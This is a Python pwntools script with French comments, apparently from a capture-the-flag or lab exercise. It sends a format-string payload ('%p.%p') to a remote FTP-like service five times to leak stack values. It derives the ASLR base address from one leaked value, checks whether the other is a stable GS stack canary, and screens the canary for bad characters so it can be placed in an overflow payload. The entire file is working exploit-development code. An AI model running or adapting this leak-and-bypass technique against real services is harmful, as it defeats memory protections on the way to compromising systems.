#!/usr/bin/env python3
"""
Verifie si la valeur [1] du format string est le canary GS
en la comparant sur plusieurs connexions.

Si la valeur est STABLE (meme valeur) -> c'est le canary (ou une constante)
Si elle CHANGE -> ce n'est pas le canary (ou le processus a redemarre)

On verifie aussi [2] (base ASLR) pour confirmer que c'est le meme processus.
"""
from pwn import remote, log
import sys

CIBLE_IP   = "10.129.2.76"
CIBLE_PORT = 2121
NUM_TESTS  = 5

log.info(f"Test de stabilite du canary — {NUM_TESTS} connexions")
log.info(f"Cible: {CIBLE_IP}:{CIBLE_PORT}")
print(flush=True)

results = []

for i in range(NUM_TESTS):
    log.info(f"Connexion {i+1}/{NUM_TESTS}...")
    sys.stdout.flush()

    try:
        c = remote(CIBLE_IP, CIBLE_PORT, level="error")
        c.sendline(b"TEST %p.%p")
        try:
            resp = c.recvall(timeout=3).decode(errors="ignore")
        except:
            resp = ""
        c.close()
    except Exception as e:
        log.warning(f"  Connexion echouee: {e}")
        continue

    if "Path:" not in resp:
        log.warning(f"  Reponse inattendue: {resp[:80]}")
        continue

    path_data = resp.split("Path:")[1].strip()
    parts = path_data.split(".")
    if len(parts) < 2:
        log.warning(f"  Pas assez de valeurs: {path_data}")
        continue

    val1 = parts[0].strip()
    val2 = parts[1].strip().rstrip("\r\n")

    try:
        v1 = int(val1, 16)
        v2 = int(val2, 16)
        base = v2 - 0x14120
        results.append((v1, v2, base))
        log.info(f"  [1] = 0x{v1:08x}  [2] = 0x{v2:08x}  base = 0x{base:08x}")
    except ValueError:
        log.warning(f"  Parse error: val1='{val1}' val2='{val2}'")
        continue

print(f"\n{'='*60}", flush=True)

if not results:
    print(" ERREUR: aucun resultat", flush=True)
    sys.exit(1)

bases = set(r[2] for r in results)
val1s = set(r[0] for r in results)

if len(bases) == 1:
    print(f" Base ASLR: STABLE (0x{results[0][2]:08x}) — meme processus", flush=True)
else:
    print(f" Base ASLR: CHANGE! Processus a redemarre entre les connexions", flush=True)
    print(f"   Bases vues: {[hex(b) for b in bases]}", flush=True)

if len(val1s) == 1:
    canary = results[0][0]
    print(f" Valeur [1]: STABLE (0x{canary:08x}) — probablement le canary GS!", flush=True)
    print(f"", flush=True)
    print(f" >>> On peut utiliser cette valeur pour bypass le canary! <<<", flush=True)

    canary_bytes = canary.to_bytes(4, 'little')
    bad_in_canary = [f"0x{b:02x}" for b in canary_bytes if b in {0x00, 0x01, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x1a, 0x20, 0x25}]
    if bad_in_canary:
        print(f" ATTENTION: Le canary contient des bad chars: {bad_in_canary}", flush=True)
        print(f" Canary bytes (LE): {' '.join(f'{b:02x}' for b in canary_bytes)}", flush=True)
        print(f" Il faudra trouver un moyen de contourner ca.", flush=True)
    else:
        print(f" Canary bytes (LE): {' '.join(f'{b:02x}' for b in canary_bytes)}", flush=True)
        print(f" Aucun bad char dans le canary — on peut l'inclure tel quel!", flush=True)
else:
    print(f" Valeur [1]: CHANGE entre connexions", flush=True)
    print(f"   Valeurs vues: {[hex(v) for v in val1s]}", flush=True)
    print(f"   Ce n'est PAS le canary (ou c'est XOR avec EBP qui change)", flush=True)

print(f"{'='*60}", flush=True)
